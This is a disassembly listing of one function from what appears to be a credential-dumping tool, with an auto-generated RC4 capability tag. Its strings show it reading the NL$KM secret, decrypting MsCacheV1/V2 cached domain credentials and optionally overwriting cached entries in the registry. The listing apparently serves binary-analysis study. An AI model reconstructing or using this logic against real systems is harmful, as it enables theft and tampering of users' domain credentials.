Function at 0x18009e008
Capabilities:
Encrypt data using rc4 via systemfunction032
Encrypt data using rc4 via systemfunction033

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4f]
sub rsp, 0x100
lea rax, [rbp - 1]
mov rbx, r8
mov qword [rbp - 0x29], rax
lea r8, str.SecretsNL_KMCurrVal
lea rax, [rbp - 0x35]
mov r13d, 0x10
mov qword [rsp + 0x30], rax
mov r15d, 0x2800
lea rax, [rbp - 0x51]
mov dword [rbp - 0x55], r15d
mov qword [rsp + 0x28], rax
mov r14, r9
mov rax, qword [rbp + 0x77]
mov rsi, rcx
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x31], r13d
mov dword [rbp - 0x2d], r13d
call fcn.18009eb74
test eax, eax
je 0x18009e3dc
mov rdi, qword [rbp + 0x7f]
test rdi, rdi
je 0x18009e09e
mov rax, qword [rdi]
neg rax
sbb ecx, ecx
and ecx, 0x20006
jmp 0x18009e0a0
xor ecx, ecx
or ecx, 0x20019
lea rax, [rbp - 0x69]
mov qword [rsp + 0x28], rax
lea r8, str.Cache
mov dword [rsp + 0x20], ecx
mov rdx, rbx
mov rcx, rsi
call fcn.18000e2d0
test eax, eax
je 0x18009e3d2
test r14, r14
je 0x18009e157
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bda8
mov rdx, qword [rbp - 0x69]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x30], rax
lea r8, str.NL_IterationCount
lea rax, [rbp - 0x79]
mov rcx, rsi
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call fcn.18000e82c
test eax, eax
je 0x18009e14b
mov edx, dword [rbp - 0x79]
mov ecx, edx
and ecx, 0xfffffc00
mov eax, edx
shl eax, 0xa
cmp edx, r15d
cmova eax, ecx
lea rcx, str._NL_IterationCount_is__u___u_real_iteration_s__n
mov r8d, eax
mov dword [rbp - 0x55], eax
mov r15d, eax
call fcn.18000bda8
cmp dword [rbp - 0x79], 0
jne 0x18009e157
lea rcx, str._DCC1_mode___n
jmp 0x18009e152
lea rcx, str._Iteration_is_set_to_default__10240__n
call fcn.18000bda8
mov rdx, qword [rbp - 0x69]
lea rax, [rbp - 0x61]
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x71]
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rcx, rsi
lea rax, [rbp - 0x59]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
call fcn.18000e558
test eax, eax
je 0x18009e3c6
mov eax, dword [rbp - 0x71]
mov ebx, 0x40
inc eax
mov ecx, ebx
mov dword [rbp - 0x71], eax
lea edx, [rax + 1]
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x18009e3c6
mov edx, dword [rbp - 0x61]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x18009e3bd
xor ecx, ecx
mov dword [rbp - 0x79], ecx
cmp dword [rbp - 0x59], ecx
jbe 0x18009e3b4
mov eax, dword [rbp - 0x71]
mov r8d, ecx
mov rdx, qword [rbp - 0x69]
mov r9, r14
mov dword [rbp - 0x39], eax
mov rcx, rsi
mov eax, dword [rbp - 0x61]
mov dword [rbp - 0x75], eax
lea rax, [rbp - 0x75]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x5d]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x39]
mov qword [rsp + 0x20], rax
call fcn.18000eba0
test eax, eax
je 0x18009e39f
mov r8d, 0xa
lea rdx, str.NL_Control
mov rcx, r14
call fcn.1800d4b90
test eax, eax
je 0x18009e39f
mov r8d, 0x11
lea rdx, str.NL_IterationCount
mov rcx, r14
call fcn.1800d4b90
test eax, eax
je 0x18009e39f
test byte [rbx + 0x30], 1
je 0x18009e39f
mov rdx, r14
lea rcx, str._n__s__
call fcn.18000bda8
lea rcx, [rbx + 0x20]
test rcx, rcx
je 0x18009e29d
lea rdx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
test eax, eax
je 0x18009e29d
lea rcx, [rbp - 9]
call fcn.180012a64
mov edx, dword [rbx + 0x10]
lea rcx, str.__nRID_______:__08x___u__n
mov r8d, edx
call fcn.18000bda8
mov r12d, dword [rbp - 0x75]
lea r13, [rbx + 0x40]
add r12d, 0xffffffa0
cmp qword [rbp + 0x6f], 0
je 0x18009e503
and dword [rsp + 0x30], 0
lea rsi, [rbx + 0x60]
mov r9, qword [rbp - 0x51]
mov rdx, rsi
mov r8d, r12d
mov qword [rsp + 0x28], r13
call fcn.180004400
test eax, eax
je 0x18009e39b
mov dl, 0x32
mov rcx, rbx
call fcn.18009e6b8
movzx eax, word [rbx]
lea r9, [rbx + 0xa8]
mov r8, qword [rdi + 0x30]
mov word [rbp - 0x47], ax
mov word [rbp - 0x49], ax
mov qword [rbp - 0x41], r9
test r8, r8
je 0x18009e33b
mov edx, dword [rbx + 0x84]
test edx, edx
je 0x18009e33b
mov r9d, dword [rdi + 0x38]
mov ecx, r12d
sub ecx, edx
add rcx, 0x60
add rcx, rbx
call fcn.18009e76c
mov r9, qword [rbp - 0x41]
movzx eax, word [rbp - 0x49]
mov rcx, qword [rdi]
test rcx, rcx
je 0x18009e39b
movzx r8d, ax
mov rdx, r9
shr r8, 1
call fcn.1800d4b90
test eax, eax
jne 0x18009e39b
lea rcx, str.__User_cache_replace_mode__2___n
call fcn.18000bda8
cmp dword [rdi + 0x18], 0
je 0x18009e3fc
lea rdx, [rdi + 8]
mov r9d, r15d
lea r8, [rbp - 0x49]
mov rcx, rsi
call fcn.180004954
test eax, eax
jns 0x18009e40a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache______0x_08x__n
mov edx, eax
call fcn.18000bda8
mov rsi, qword [rbp + 0x57]
mov ecx, dword [rbp - 0x79]
mov r15d, dword [rbp - 0x55]
inc ecx
mov dword [rbp - 0x79], ecx
cmp ecx, dword [rbp - 0x59]
jb 0x18009e1e4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rbp - 0x69]
mov rcx, rsi
call fcn.18000ede0
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x148]
mov eax, 1
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp dword [rdi + 0x2c], 0
je 0x18009e387
movups xmm0, xmmword [rdi + 0x1c]
movdqu xmmword [rsi], xmm0
lea rcx, str.__MsCacheV2_:
call fcn.18000bda8
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 0x10]
call fcn.1800129a4
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bda8
mov rdx, qword [rbp - 0x51]
lea r15, [rbx + 0x50]
mov eax, 0x10
mov r9, rsi
mov dword [rsp + 0x30], eax
mov r8d, eax
mov qword [rsp + 0x28], r15
mov ecx, 0x8004
mov dword [rsp + 0x20], r12d
call fcn.180003cb8
test eax, eax
je 0x18009e39b
lea rcx, str.__Checksum__:
call fcn.18000bda8
xor r8d, r8d
mov rcx, r15
lea edx, [r8 + 0x10]
call fcn.1800129a4
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bda8
mov r9, qword [rbp - 0x51]
mov r8d, r12d
mov rdx, rsi
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r13
call fcn.180004400
mov rsi, qword [rbp + 0x57]
test eax, eax
je 0x18009e39f
mov eax, dword [rbp - 0x75]
mov r8, r14
mov rdx, qword [rbp - 0x69]
mov rcx, rsi
mov dword [rsp + 0x30], eax
mov eax, dword [rbp - 0x5d]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.18000e92c
test eax, eax
je 0x18009e4ea
lea rcx, str.__OK__n
call fcn.18000bda8
jmp 0x18009e39f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
mov edx, eax
call fcn.18000bda8
jmp 0x18009e39f
mov rax, qword [rbp - 0x29]
mov ecx, 0x10
mov r8d, dword [rbp - 0x35]
mov r9, r13
mov rdx, qword [rbp - 0x51]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov ecx, 0x8003
call fcn.180003cb8
test eax, eax
je 0x18009e6a6
lea rsi, [rbx + 0x60]
mov dword [rbp - 0x1d], r12d
lea rdx, [rbp - 0x31]
mov qword [rbp - 0x19], rsi
lea rcx, [rbp - 0x21]
mov dword [rbp - 0x21], r12d
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
js 0x18009e69a
mov dl, 0x31
mov rcx, rbx
call fcn.18009e6b8
movzx eax, word [rbx]
lea rdx, [rbx + 0xa8]
mov word [rbp - 0x47], ax
mov word [rbp - 0x49], ax
mov qword [rbp - 0x41], rdx
test rdi, rdi
je 0x18009e39b
mov rcx, qword [rdi]
test rcx, rcx
je 0x18009e39b
mov r8d, eax
shr r8, 1
call fcn.1800d4b90
test eax, eax
jne 0x18009e39b
lea rcx, str.__User_cache_replace_mode__1___n
call fcn.18000bda8
cmp dword [rdi + 0x18], 0
je 0x18009e5cb
lea rdx, [rdi + 8]
xor r9d, r9d
lea r8, [rbp - 0x49]
mov rcx, rsi
call fcn.180004954
jmp 0x18009e5d9
cmp dword [rdi + 0x2c], 0
je 0x18009e5d9
movups xmm0, xmmword [rdi + 0x1c]
movdqu xmmword [rsi], xmm0
lea rdx, [rdi + 8]
xor r9d, r9d
lea r8, [rbp - 0x49]
mov rcx, rsi
call fcn.180004954
test eax, eax
js 0x18009e39b
lea rcx, str.__MsCacheV1_:
call fcn.18000bda8
xor r8d, r8d
mov rcx, rsi
lea r13d, [r8 + 0x10]
mov edx, r13d
call fcn.1800129a4
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bda8
mov rdx, qword [rbp - 0x29]
lea r15, [rbx + 0x50]
mov dword [rsp + 0x30], r13d
mov r9, rsi
mov qword [rsp + 0x28], r15
mov r8d, r13d
mov ecx, 0x8003
mov dword [rsp + 0x20], r12d
call fcn.180003cb8
test eax, eax
je 0x18009e39b
lea rcx, str.__Checksum__:
call fcn.18000bda8
xor r8d, r8d
mov edx, r13d
mov rcx, r15
call fcn.1800129a4
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bda8
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x18009e68e
mov rsi, qword [rbp + 0x57]
jmp 0x18009e4b3
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptData2:_0x_08x_n
jmp 0x18009e394
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptDecryptRC4_:_0x_08x_n
jmp 0x18009e394
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_crypto_hmac__0x_08x__n
jmp 0x18009e4f7